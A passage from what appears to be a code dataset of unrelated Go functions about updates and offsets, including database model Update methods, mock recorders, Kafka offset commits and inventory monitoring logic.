1)\n\n\tgo func() {\n\t\tdefer v.rdOrdWg.Done()\n\t\tdefer close(skuc)\n\t\tdefer close(errc)\n\n\t\t// util.Err(\"waiting on read channel\")\n\t\tif !<-rdc {\n\t\t\terrc <- util.NewErr(\"unable to update in-memory monitor SKUs; not opened first\")\n\t\t\tfmt.Println(\"updateAWS done\")\n\t\t\treturn\n\t\t}\n\n\t\t// go through and see if any entries need to be pulled from SkuVault\n\t\t// also increase sold count once for each time the SKU is found\n\t\tfor _, ord := range ords {\n\t\t\tfor _, itm := range ord.Items {\n\t\t\t\tisMon, vend := v.isMonAndVend(itm)\n\t\t\t\tif !isMon {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// determine existence of vendor monitor file\n\t\t\t\tvendMon, exists := j.monDir[vend]\n\t\t\t\tif !exists {\n\t\t\t\t\tutil.Log(`new monitor vendor '` + vend + `' discovered!`)\n\t\t\t\t\tvendMon.AvgWait = 5\n\t\t\t\t\tvendMon.SKUs = types.SKUs{}\n\t\t\t\t}\n\n\t\t\t\t// if monitor SKU doesn't exist then throw its SKU into\n\t\t\t\t// the payload for populating later\n\t\t\t\tmonSKU, exists := vendMon.SKUs[itm.SKU]\n\t\t\t\tif !exists {\n\t\t\t\t\tutil.Log(`new monitor sku '` + itm.SKU + `' discovered!`)\n\t\t\t\t\tskuc <- newSKU(itm.SKU)\n\t\t\t\t}\n\t\t\t\tmonSKU.Sold += itm.Quantity\n\t\t\t\tmonSKU.UPC = itm.UPC\n\n\t\t\t\tj.soldToday[itm.SKU] = true\n\n\t\t\t\t// overwrite the changes on both a file level and directory level\n\t\t\t\tvendMon.SKUs[itm.SKU] = monSKU\n\t\t\t\tj.monDir[vend] = vendMon\n\t\t\t}\n\t\t}\n\n\t\tfmt.Println(\"updateAWS done\")\n\t\terrc <- nil\n\t}()\n\n\treturn skuc, errc\n}", "func (driver) LoadOffset(\n\tctx context.Context,\n\tdb *sql.DB,\n\tak, sk string,\n) (uint64, error) {\n\trow := db.QueryRowContext(\n\t\tctx,\n\t\t`SELECT\n\t\t\tnext_offset\n\t\tFROM stream_offset\n\t\tWHERE app_key = ?\n\t\tAND source_app_key = ?`,\n\t\tak,\n\t\tsk,\n\t)\n\n\tvar o uint64\n\terr := row.Scan(&o)\n\tif err == sql.ErrNoRows {\n\t\terr = nil\n\t}\n\n\treturn o, err\n}", "func (du *DatsetUserMapping) Update(a *config.AppContext) error {\n\treturn a.Db.Model(du).Updates(map[string]interface{}{\"access_type\": du.AccessType}).Error\n}", "func (cr *ConsulRegistry) checkUpdate(key string, index uint64) bool {\n\tvar lastIndex uint64 = 0\n\tloaded, ok := cr.lastIndexes.Load(key)\n\tif ok {\n\t\tlastIndex = loaded.(uint64)\n\t}\n\tif index <= lastIndex {\n\t\treturn false\n\t}\n\tcr.lastIndexes.Store(key, index)\n\treturn true\n}", "func (ua *UserAddress) Update(ctx context.Context, key ...interface{}) error {\n\tvar err error\n\tvar dbConn *sql.DB\n\n\t// if deleted, bail\n\tif ua._deleted {\n\t\treturn errors.New(\"update failed: marked for deletion\")\n\t}\n\n\ttx, err := components.M.GetConnFromCtx(ctx)\n\tif err != nil {\n\t\tdbConn, err = components.M.GetMasterConn()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\ttableName, err := GetUserAddressTableName(key...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// sql query\n\tsqlstr := `UPDATE ` + tableName + ` SET ` +\n\t\t`uid = ?, province_id = ?, city_id = ?, district_id = ?, address = ?, street = ?, postcode = ?, contact = ?, phone = ?, mobile = ?, email = ?, is_default = ?, buid = ?` +\n\t\t` WHERE uaid = ?`\n\n\t// run query\n\tutils.GetTraceLog(ctx).Debug(\"DB\", zap.String(\"SQL\", fmt.Sprint(sqlstr, ua.UID, ua.ProvinceID, ua.CityID, ua.DistrictID, ua.Address, ua.Street, ua.Postcode, ua.Contact, ua.Phone, ua.Mobile, ua.Email, ua.IsDefault, ua.Buid, ua.Uaid)))\n\tif tx != nil {\n\t\t_, err = tx.Exec(sqlstr, ua.UID, ua.ProvinceID, ua.CityID, ua.DistrictID, ua.Address, ua.Street, ua.Postcode, ua.Contact, ua.Phone, ua.Mobile, ua.Email, ua.IsDefault, ua.Buid, ua.Uaid)\n\t} else {\n\t\t_, err = dbConn.Exec(sqlstr, ua.UID, ua.ProvinceID, ua.CityID, ua.DistrictID, ua.Address, ua.Street, ua.Postcode, ua.Contact, ua.Phone, ua.Mobile, ua.Email, ua.IsDefault, ua.Buid, ua.Uaid)\n\t}\n\treturn err\n}", "func (p OwnersOwnerInNamespacePredicate) Update(e event.UpdateEvent) bool {\n\treturn p.ownersOwnerInNamespace(e.MetaNew.GetOwnerReferences())\n}", "func (sk *Seek) CommitOffset(offset int64) error {\n\treturn sk.oc.CommitOffset(offset)\n}", "func (oo *OnuDeviceEntry) UpdateOnuKvStore(ctx context.Context, wg *sync.WaitGroup) {\n\tdefer wg.Done()\n\n\tif oo.onuKVStore == nil {\n\t\tlogger.Debugw(ctx, \"onuKVStore not set - abort\", log.Fields{\"device-id\": oo.deviceID})\n\t\too.setKvProcessingErrorIndication(errors.New(\"onu-data update aborted: onuKVStore not set\"))\n\t\treturn\n\t}\n\tvar processingStep uint8 = 1 // used to synchronize the different processing steps with chOnuKvProcessingStep\n\tgo oo.storeDataInOnuKvStore(ctx, processingStep)\n\tif !oo.waitForTimeoutOrCompletion(ctx, oo.chOnuKvProcessingStep, processingStep) {\n\t\t//timeout or error detected\n\t\tlogger.Debugw(ctx, \"ONU-data not written - abort\", log.Fields{\"device-id\": oo.deviceID})\n\t\too.setKvProcessingErrorIndication(errors.New(\"onu-data update aborted: during writing process\"))\n\t\treturn\n\t}\n}", "func (r *Replicator) SetAckOffsetInRemote(ctx thrift.Context, request *shared.SetAckOffsetRequest) error {\n\tr.m3Client.IncCounter(metrics.ReplicatorSetAckOffsetInRemoteScope, metrics.ReplicatorRequests)\n\n\tvar err error\n\n\tif request == nil || !request.IsSetConsumerGroupUUID() || !request.IsSetExtentUUID() {\n\t\tr.m3Client.IncCounter(metrics.ReplicatorSetAckOffsetInRemoteScope, metrics.ReplicatorFailures)\n\t\terr = &shared.BadRequestError{Message: fmt.Sprintf(`Set ack offset request invalid. IsSetConsumerGroupUUID: [%v], IsSetExtentUUID: [%v]`,\n\t\t\trequest.IsSetConsumerGroupUUID(), request.IsSetExtentUUID())}\n\t\tr.logger.WithField(common.TagErr, err).Error(`Set ack offset request verification failed`)\n\t\treturn err\n\t}\n\n\tlcllg := r.logger.WithFields(bark.Fields{\n\t\tcommon.TagCnsm: common.FmtDst(request.GetConsumerGroupUUID()),\n\t\tcommon.TagExt: common.FmtExt(request.GetExtentUUID()),\n\t})\n\n\treadCgRequest := shared.ReadConsumerGroupRequest{\n\t\tConsumerGroupUUID: common.StringPtr(request.GetConsumerGroupUUID()),\n\t}\n\tcgDesc, err := r.metaClient.ReadConsumerGroup(nil, &readCgRequest)\n\tif err != nil {\n\t\tlcllg.WithField(common.TagErr, err).Error(`Error reading cg from metadata`)\n\t\tr.m3Client.IncCounter(metrics.ReplicatorSetAckOffsetInRemoteScope, metrics.ReplicatorFailures)\n\t\treturn err\n\t}\n\n\tif !cgDesc.GetIsMultiZone() {\n\t\terr = &shared.BadRequestError{Message: fmt.Sprintf(`Consumer group [%v] is not multi zone destination`, request.GetConsumerGroupUUID())}\n\t\tlcllg.WithField(common.TagErr, err).Error(`Consumer group is not multi zone destination`)\n\t\tr.m3Client.IncCounter(metrics.ReplicatorSetAckOffsetInRemoteScope, metrics.ReplicatorFailures)\n\t\treturn err\n\t}\n\n\tif !cgDesc.IsSetZoneConfigs() || len(cgDesc.GetZoneConfigs()) == 0 {\n\t\terr = &shared.BadRequestError{Message: fmt.Sprintf(`Zone config for consumer group [%v] is not set`, request.GetConsumerGroupUUID())}\n\t\tlcllg.WithField(common.TagErr, err).Error(`Zone config for consumer group is not set`)\n\t\tr.m3Client.IncCounter(metrics.ReplicatorSetAckOffsetInRemoteScope, metrics.ReplicatorFailures)\n\t\treturn err\n\t}\n\n\tfor _, zoneConfig := range cgDesc.GetZoneConfigs() {\n\t\t// skip local zone\n\t\tif strings.EqualFold(zoneConfig.GetZone(), r.localZone) {\n\t\t\tcontinue\n\t\t}\n\n\t\t// only forward the call to remote zone if consumer group is visible in that zone\n\t\tif !zoneConfig.GetVisible() {\n\t\t\tcontinue\n\t\t}\n\n\t\t// call remote replicators in a goroutine. Errors can be ignored since reconciliation will fix the inconsistency eventually\n\t\tgo r.setAckOffsetRemoteCall(zoneConfig.GetZone(), lcllg, request)\n\t}\n\n\treturn nil\n}", "func (p OwnerInNamespacePredicate) Update(e event.UpdateEvent) bool {\n\treturn p.ownerInNamespace(e.MetaNew.GetOwnerReferences())\n}", "func (o CustomLayerOutput) InstallUpdatesOnBoot() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *CustomLayer) pulumi.BoolPtrOutput { return v.InstallUpdatesOnBoot }).(pulumi.BoolPtrOutput)\n}", "func (o PhpAppLayerOutput) InstallUpdatesOnBoot() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *PhpAppLayer) pulumi.BoolPtrOutput { return v.InstallUpdatesOnBoot }).(pulumi.BoolPtrOutput)\n}", "func (b *Builder) PatchOffset(patchedOffset, patch dwarf.Offset) {\n\tinfoBytes := b.info.Bytes()\n\tbuf := new(bytes.Buffer)\n\tbinary.Write(buf, binary.LittleEndian, patch)\n\tcopy(infoBytes[patchedOffset:], buf.Bytes())\n}", "func (seq Sequence) UpdateValueAtOffset(offset int, e expr.Expr, params expr.Params, metadata goexpr.Params) {\n\toffset = offset + Width64bits\n\te.Update(seq[offset:], params, metadata)\n}", "func (d *Dao) UpdateSnsUser(c context.Context, mid, expires int64, unionID string, platform int) (affected int64, err error) {\n\tvar res sql.Result\n\tif res, err = d.snsDB.Exec(c, _updateSnsUserSQL, unionID, expires, mid, platform); err != nil {\n\t\tlog.Error(\"UpdateSnsUser mid(%d) platform(%d) unionID(%s) expires(%d) d.snsDB.Exec() error(%+v)\", mid, platform, unionID, platform, err)\n\t\treturn\n\t}\n\treturn res.RowsAffected()\n}", "func (o *AutomodRuleDatum) Update(ctx context.Context, exec boil.ContextExecutor, columns boil.Columns) (int64, error) {\n\tvar err error\n\tkey := makeCacheKey(columns, nil)\n\tautomodRuleDatumUpdateCacheMut.RLock()\n\tcache, cached := automodRuleDatumUpdateCache[key]\n\tautomodRuleDatumUpdateCacheMut.RUnlock()\n\n\tif !cached {\n\t\twl := columns.UpdateColumnSet(\n\t\t\tautomodRuleDatumAllColumns,\n\t\t\tautomodRuleDatumPrimaryKeyColumns,\n\t\t)\n\n\t\tif !columns.IsWhitelist() {\n\t\t\twl = strmangle.SetComplement(wl, []string{\"created_at\"})\n\t\t}\n\t\tif len(wl) == 0 {\n\t\t\treturn 0, errors.New(\"models: unable to update automod_rule_data, could not build whitelist\")\n\t\t}\n\n\t\tcache.query = fmt.Sprintf(\"UPDATE \\\"automod_rule_data\\\" SET %s WHERE %s\",\n\t\t\tstrmangle.SetParamNames(\"\\\"\", \"\\\"\", 1, wl),\n\t\t\tstrmangle.WhereClause(\"\\\"\", \"\\\"\", len(wl)+1, automodRuleDatumPrimaryKeyColumns),\n\t\t)\n\t\tcache.valueMapping, err = queries.BindMapping(automodRuleDatumType, automodRuleDatumMapping, append(wl, automodRuleDatumPrimaryKeyColumns...))\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\tvalues := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(o)), cache.valueMapping)\n\n\tif boil.IsDebug(ctx) {\n\t\twriter := boil.DebugWriterFrom(ctx)\n\t\tfmt.Fprintln(writer, cache.query)\n\t\tfmt.Fprintln(writer, values)\n\t}\n\tvar result sql.Result\n\tresult, err = exec.ExecContext(ctx, cache.query, values...)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"models: unable to update automod_rule_data row\")\n\t}\n\n\trowsAff, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"models: failed to get rows affected by update for automod_rule_data\")\n\t}\n\n\tif !cached {\n\t\tautomodRuleDatumUpdateCacheMut.Lock()\n\t\tautomodRuleDatumUpdateCache[key] = cache\n\t\tautomodRuleDatumUpdateCacheMut.Unlock()\n\t}\n\n\treturn rowsAff, nil\n}", "func (r *Replicator) SetAckOffset(ctx thrift.Context, request *shared.SetAckOffsetRequest) error {\n\tlcllg := r.logger.WithFields(bark.Fields{\n\t\tcommon.TagCnsm: common.FmtDst(request.GetConsumerGroupUUID()),\n\t\tcommon.TagExt: common.FmtExt(request.GetExtentUUID()),\n\t})\n\tr.m3Client.IncCounter(metrics.ReplicatorSetAckOffsetScope, metrics.ReplicatorRequests)\n\n\terr := r.metaClient.SetAckOffset(nil, request)\n\tif err != nil {\n\t\tlcllg.WithField(common.TagErr, err).Error(`Error calling metadata to set ack offset`)\n\t\tr.m3Client.IncCounter(metrics.ReplicatorSetAckOffsetScope, metrics.ReplicatorFailures)\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func incr_offset() {\n\toffset = offset + 1\n}", "func Updatable(a cloudflare.DNSRecord, b cloudflare.DNSRecord) bool {\n\tif a.Type != b.Type {\n\t\treturn false\n\t}\n\n\tif a.Name != b.Name {\n\t\treturn false\n\t}\n\n\treturn true\n}", "func (mr *MockIpsecClientMockRecorder) IpsecSAEncryptUpdate(ctx, in interface{}, opts ...interface{}) *gomock.Call {\n\tvarargs := append([]interface{}{ctx, in}, opts...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"IpsecSAEncryptUpdate\", reflect.TypeOf((*MockIpsecClient)(nil).IpsecSAEncryptUpdate), varargs...)\n}", "func (b *CompactableBuffer) Update(address *EntryAddress, data []byte) error {\n\taddress.LockForWrite()\n\tdefer address.UnlockWrite()\n\theader, err := b.ReadHeader(address)\n\tif err != nil {\n\t\treturn err\n\t}\n\tbeforeUpdataDataSize := header.dataSize\n\tafterUpdateDataSize := len(data) + VarIntSize(len(data))\n\tdataSizeDelta := afterUpdateDataSize - int(beforeUpdataDataSize)\n\n\tremainingSpace := int(header.entrySize) - reservedSize - afterUpdateDataSize\n\theader.dataSize = int64(afterUpdateDataSize)\n\tif remainingSpace <= 0 {\n\t\tatomic.AddInt64(&b.dataSize, int64(-beforeUpdataDataSize))\n\t\tatomic.AddInt64(&b.entrySize, int64(-header.entrySize))\n\t\treturn b.expand(address, data)\n\t}\n\n\tatomic.AddInt64(&b.dataSize, int64(dataSizeDelta))\n\tvar target = make([]byte, 0)\n\tAppendToBytes(data, &target)\n\tif len(target) > int(header.dataSize) {\n\t\treturn io.EOF\n\t}\n\twritableBuffer := b.writableBuffer()\n\t_, err = writableBuffer.Write(address.Position()+reservedSize, target...)\n\treturn err\n}", "func UpdateOwnerInOwnerManagement(ownerMgr interfaces.OwnerManager, owner *domain.Owner) bool {\n\tif ownerMgr.IsExisting(owner.OwnerID) {\n\t\t// repeat customer! we are doing something right for owner to comes back for more!\n\t\tfmt.Println(\"Repeat customer! we are doing something right!\")\n\t} else {\n\t\t// owner not in owner manager system, add for future advertisement! ahaha\n\t\tfmt.Println(\"add customer to owner system for advertisement!\")\n\t\townerMgr.CreateOwner(owner.OwnerID, owner.Name, &owner.Address)\n\t}\n\n\treturn ownerMgr.UpdateOwner(owner)\n}", "func (o *DnsZoneDataData) GetZoneUseUpdatePolicyOk() (*string, bool) {\n\tif o == nil || o.ZoneUseUpdatePolicy == nil {\n\t\treturn nil, false\n\t}\n\treturn o.ZoneUseUpdatePolicy, true\n}", "func (b UpdateBuilder) Offset(offset int) WhereConditions {\n\treturn builder.Set(b, \"Offset\", fmt.Sprintf(\"%d\", offset)).(UpdateBuilder)\n}", "func (mr *MockIpsecClientMockRecorder) IpsecSADecryptUpdate(ctx, in interface{}, opts ...interface{}) *gomock.Call {\n\tvarargs := append([]interface{}{ctx, in}, opts...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"IpsecSADecryptUpdate\", reflect.TypeOf((*MockIpsecClient)(nil).IpsecSADecryptUpdate), varargs...)\n}", "func (ot *T) correctOffset(offset int64) {\n\tdrop := 0\n\tfor i, ar := range ot.ackedRanges {\n\t\tif offset < ar.from {\n\t\t\tbreak\n\t\t}\n\t\tdrop = i + 1\n\t\tif offset < ar.to {\n\t\t\toffset = ar.to\n\t\t\tbreak\n\t\t}\n\t}\n\tif drop > 0 {\n\t\tot.ackedRanges = ot.ackedRanges[drop:]\n\t}\n\tot.offset.Val = offset\n\tot.offset.Meta = encodeAckedRanges(offset, ot.ackedRanges)\n}", "func (s *IndexablePartitionClock) Update(clock PartitionClock, allowRollback bool) (changed bool) {\n\tfor vb, seq := range clock {\n\t\tcurrentSequence := s.PartitionClock.GetSequence(vb)\n\t\tif seq > currentSequence || (seq < currentSequence && allowRollback) {\n\t\t\ts.PartitionClock.SetSequence(vb, seq)\n\t\t\tchanged = true\n\t\t} else if seq < currentSequence {\n\t\t\tWarn(\"Ignored update of sequence clock for vb:[%d] existing:[%d] update:[%d]\", vb, currentSequence, seq)\n\t\t}\n\t}\n\treturn changed\n}", "func (c *offsetCoordinator) commit(\n\ttopic string, partition int32, offset int64, metadata string) (resErr error) {\n\t// Eliminate the scenario where Kafka erroneously returns -1 as the offset\n\t// which then gets made permanent via an immediate flush.\n\t//\n\t// Technically this disallows a valid use case of rewinding a consumer\n\t// group to the beginning, but 1) this isn't possible through any API we\n\t// currently expose since you cannot have a message numbered -1 in hand;\n\t// 2) this restriction only applies to partitions with a non-expired\n\t// message at offset 0.\n\tif offset < 0 {\n\t\treturn fmt.Errorf(\"Cannot commit negative offset %d for [%s:%d].\",\n\t\t\toffset, topic, partition)\n\t}\n\n\tretry := &backoff.Backoff{Min: c.conf.RetryErrWait, Jitter: true}\n\tfor try := 0; try < c.conf.RetryErrLimit; try++ {\n\t\tif try != 0 {\n\t\t\ttime.Sleep(retry.Duration())\n\t\t}\n\n\t\t// get a copy of our connection with the lock, this might establish a new\n\t\t// connection so can take a bit\n\t\tconn, err := c.broker.coordinatorConnection(c.conf.ConsumerGroup)\n\t\tif conn == nil {\n\t\t\tresErr = err\n\t\t\tcontinue\n\t\t}\n\t\tdefer func(lconn *connection) { go c.broker.conns.Idle(lconn) }(conn)\n\n\t\tresp, err := conn.OffsetCommit(&proto.OffsetCommitReq{\n\t\t\tClientID: c.broker.conf.ClientID,\n\t\t\tConsumerGroup: c.conf.ConsumerGroup,\n\t\t\tTopics: []proto.OffsetCommitReqTopic{\n\t\t\t\t{\n\t\t\t\t\tName: topic,\n\t\t\t\t\tPartitions: []proto.OffsetCommitReqPartition{\n\t\t\t\t\t\t{ID: partition, Offset: offset, Metadata: metadata},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\tresErr = err\n\n\t\tif _, ok := err.(*net.OpError); ok || err == io.EOF || err == syscall.EPIPE {\n\t\t\tlog.Debugf(\"connection died while committing on %s:%d for %s: %s\",\n\t\t\t\ttopic, partition, c.conf.ConsumerGroup, err)\n\t\t\t_ = conn.Close()\n\n\t\t} else if err == nil {\n\t\t\t// Should be a single response in the payload.\n\t\t\tfor _, t := range resp.Topics {\n\t\t\t\tfor _, p := range t.Partitions {\n\t\t\t\t\tif t.Name != topic || p.ID != partition {\n\t\t\t\t\t\tlog.Warningf(\"commit response with unexpected data for %s:%d\",\n\t\t\t\t\t\t\tt.Name, p.ID)\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\treturn p.Err\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn errors.New(\"response does not contain commit information\")\n\t\t}\n\t}\n\treturn resErr\n}", "func (mr *MockAccountKeeperMockRecorder) Update(address, upd interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockAccountKeeper)(nil).Update), address, upd)\n}", "func (q *dStarLiteQueue) update(n *dStarLiteNode, k key) {\n\tn.key = k\n\theap.Fix(q, n.idx)\n}", "func (o *Source) Update(exec boil.Executor, whitelist ...string) error {\n\tvar err error\n\tkey := makeCacheKey(whitelist, nil)\n\tsourceUpdateCacheMut.RLock()\n\tcache, cached := sourceUpdateCache[key]\n\tsourceUpdateCacheMut.RUnlock()\n\n\tif !cached {\n\t\twl := strmangle.UpdateColumnSet(\n\t\t\tsourceColumns,\n\t\t\tsourcePrimaryKeyColumns,\n\t\t\twhitelist,\n\t\t)\n\n\t\tif len(wl) == 0 {\n\t\t\treturn errors.New(\"mdbmdbmodels: unable to update sources, could not build whitelist\")\n\t\t}\n\n\t\tcache.query = fmt.Sprintf(\"UPDATE \\\"sources\\\" SET %s WHERE %s\",\n\t\t\tstrmangle.SetParamNames(\"\\\"\", \"\\\"\", 1, wl),\n\t\t\tstrmangle.WhereClause(\"\\\"\", \"\\\"\", len(wl)+1, sourcePrimaryKeyColumns),\n\t\t)\n\t\tcache.valueMapping, err = queries.BindMapping(sourceType, sourceMapping, append(wl, sourcePrimaryKeyColumns...))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tvalues := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(o)), cache.valueMapping)\n\n\tif boil.DebugMode {\n\t\tfmt.Fprintln(boil.DebugWriter, cache.query)\n\t\tfmt.Fprintln(boil.DebugWriter, values)\n\t}\n\n\t_, err = exec.Exec(cache.query, values...)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"mdbmdbmodels: unable to update sources row\")\n\t}\n\n\tif !cached {\n\t\tsourceUpdateCacheMut.Lock()\n\t\tsourceUpdateCache[key] = cache\n\t\tsourceUpdateCacheMut.Unlock()\n\t}\n\n\treturn nil\n}", "func IsUpdatable(art string) bool {\n\tarts := Split(art)\n\n\treturn arts[2] < arts[3]\n}", "func (o *DestinationRank) Update(ctx context.Context, exec boil.ContextExecutor, columns boil.Columns) (int64, error) {\n\tvar err error\n\tif err = o.doBeforeUpdateHooks(ctx, exec); err != nil {\n\t\treturn 0, err\n\t}\n\tkey := makeCacheKey(columns, nil)\n\tdestinationRankUpdateCacheMut.RLock()\n\tcache, cached := destinationRankUpdateCache[key]\n\tdestinationRankUpdateCacheMut.RUnlock()\n\n\tif !cached {\n\t\twl := columns.UpdateColumnSet(\n\t\t\tdestinationRankAllColumns,\n\t\t\tdestinationRankPrimaryKeyColumns,\n\t\t)\n\n\t\tif !columns.IsWhitelist() {\n\t\t\twl = strmangle.SetComplement(wl, []string{\"created_at\"})\n\t\t}\n\t\tif len(wl) == 0 {\n\t\t\treturn 0, errors.New(\"models: unable to update destination_rank, could not build whitelist\")\n\t\t}\n\n\t\tcache.query = fmt.Sprintf(\"UPDATE \\\"destination_rank\\\" SET %s WHERE %s\",\n\t\t\tstrmangle.SetParamNames(\"\\\"\", \"\\\"\", 1, wl),\n\t\t\tstrmangle.WhereClause(\"\\\"\", \"\\\"\", len(wl)+1, destinationRankPrimaryKeyColumns),\n\t\t)\n\t\tcache.valueMapping, err = queries.BindMapping(destinationRankType, destinationRankMapping, append(wl, destinationRankPrimaryKeyColumns...))\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\tvalues := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(o)), cache.valueMapping)\n\n\tif boil.IsDebug(ctx) {\n\t\twriter := boil.DebugWriterFrom(ctx)\n\t\tfmt.Fprintln(writer, cache.query)\n\t\tfmt.Fprintln(writer, values)\n\t}\n\tvar result sql.Result\n\tresult, err = exec.ExecContext(ctx, cache.query, values...)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"models: unable to update destination_rank row\")\n\t}\n\n\trowsAff, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"models: failed to get rows affected by update for destination_rank\")\n\t}\n\n\tif !cached {\n\t\tdestinationRankUpdateCacheMut.Lock()\n\t\tdestinationRankUpdateCache[key] = cache\n\t\tdestinationRankUpdateCacheMut.Unlock()\n\t}\n\n\treturn rowsAff, o.doAfterUpdateHooks(ctx, exec)\n}", "func (o *PublisherSearchIdx) Update(ctx context.Context, exec boil.ContextExecutor, columns boil.Columns) (int64, error) {\n\tvar err error\n\tif err = o.doBeforeUpdateHooks(ctx, exec); err != nil {\n\t\treturn 0, err\n\t}\n\tkey := makeCacheKey(columns, nil)\n\tpublisherSearchIdxUpdateCacheMut.RLock()\n\tcache, cached := publisherSearchIdxUpdateCache[key]\n\tpublisherSearchIdxUpdateCacheMut.RUnlock()\n\n\tif !cached {\n\t\twl := columns.UpdateColumnSet(\n\t\t\tpublisherSearchIdxAllColumns,\n\t\t\tpublisherSearchIdxPrimaryKeyColumns,\n\t\t)\n\n\t\tif !columns.IsWhitelist() {\n\t\t\twl = strmangle.SetComplement(wl, []string{\"created_at\"})\n\t\t}\n\t\tif len(wl) == 0 {\n\t\t\treturn 0, errors.New(\"models: unable to update publisher_search_idx, could not build whitelist\")\n\t\t}\n\n\t\tcache.query = fmt.Sprintf(\"UPDATE \\\"publisher_search_idx\\\" SET %s WHERE %s\",\n\t\t\tstrmangle.SetParamNames(\"\\\"\", \"\\\"\", 0, wl),\n\t\t\tstrmangle.WhereClause(\"\\\"\", \"\\\"\", 0, publisherSearchIdxPrimaryKeyColumns),\n\t\t)\n\t\tcache.valueMapping, err = queries.BindMapping(publisherSearchIdxType, publisherSearchIdxMapping, append(wl, publisherSearchIdxPrimaryKeyColumns...))\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\tvalues := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(o)), cache.valueMapping)\n\n\tif boil.IsDebug(ctx) {\n\t\twriter := boil.DebugWriterFrom(ctx)\n\t\tfmt.Fprintln(writer, cache.query)\n\t\tfmt.Fprintln(writer, values)\n\t}\n\tvar result sql.Result\n\tresult, err = exec.ExecContext(ctx, cache.query, values...)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"models: unable to update publisher_search_idx row\")\n\t}\n\n\trowsAff, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"models: failed to get rows affected by update for publisher_search_idx\")\n\t}\n\n\tif !cached {\n\t\tpublisherSearchIdxUpdateCacheMut.Lock()\n\t\tpublisherSearchIdxUpdateCache[key] = cache\n\t\tpublisherSearchIdxUpdateCacheMut.Unlock()\n\t}\n\n\treturn rowsAff, o.doAfterUpdateHooks(ctx, exec)\n}", "func (o *Customer) Update(exec boil.Executor, columns boil.Columns) (int64, error) {\n\tcurrTime := time.Now().In(boil.GetLocation())\n\n\to.UpdatedAt = currTime\n\n\tvar err error\n\tif err = o.doBeforeUpdateHooks(exec); err != nil {\n\t\treturn 0, err\n\t}\n\tkey := makeCacheKey(columns, nil)\n\tcustomerUpdateCacheMut.RLock()\n\tcache, cached := customerUpdateCache[key]\n\tcustomerUpdateCacheMut.RUnlock()\n\n\tif !cached {\n\t\twl := columns.UpdateColumnSet(\n\t\t\tcustomerColumns,\n\t\t\tcustomerPrimaryKeyColumns,\n\t\t)\n\n\t\tif !columns.IsWhitelist() {\n\t\t\twl = strmangle.SetComplement(wl, []string{\"created_at\"})\n\t\t}\n\t\tif len(wl) == 0 {\n\t\t\treturn 0, errors.New(\"models: unable to update customers, could not build whitelist\")\n\t\t}\n\n\t\tcache.query = fmt.Sprintf(\"UPDATE \\\"customers\\\" SET %s WHERE %s\",\n\t\t\tstrmangle.SetParamNames(\"\\\"\", \"\\\"\", 1, wl),\n\t\t\tstrmangle.WhereClause(\"\\\"\", \"\\\"\", len(wl)+1, customerPrimaryKeyColumns),\n\t\t)\n\t\tcache.valueMapping, err = queries.BindMapping(customerType, customerMapping, append(wl, customerPrimaryKeyColumns...))\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\tvalues := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(o)), cache.valueMapping)\n\n\tif boil.DebugMode {\n\t\tfmt.Fprintln(boil.DebugWriter, cache.query)\n\t\tfmt.Fprintln(boil.DebugWriter, values)\n\t}\n\n\tvar result sql.Result\n\tresult, err = exec.Exec(cache.query, values...)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"models: unable to update customers row\")\n\t}\n\n\trowsAff, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"models: failed to get rows affected by update for customers\")\n\t}\n\n\tif !cached {\n\t\tcustomerUpdateCacheMut.Lock()\n\t\tcustomerUpdateCache[key] = cache\n\t\tcustomerUpdateCacheMut.Unlock()\n\t}\n\n\treturn rowsAff, o.doAfterUpdateHooks(exec)\n}", "func (mr *MockUserDataAccessorMockRecorder) update(id, attr interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"update\", reflect.TypeOf((*MockUserDataAccessor)(nil).update), id, attr)\n}", "func (sks *SQLSKUStore) Update(s *model.SKU) (*model.SKU, error) {\n\ts.UpdatedAt = time.Now().UnixNano()\n\t_, err := sks.SQLStore.Tx.Update(s)\n\treturn s, err\n}", "func (o *QuerySensorUpdateKernelsDistinctParams) SetOffset(offset *int64) {\n\to.Offset = offset\n}", "func (m *MarkerIndexBranchIDMapping) Update(other objectstorage.StorableObject) {\n\tpanic(\"updates disabled\")\n}", "func (sp *SalePermission) Update(ctx context.Context, key ...interface{}) error {\n\tvar err error\n\tvar dbConn *sql.DB\n\n\t// if deleted, 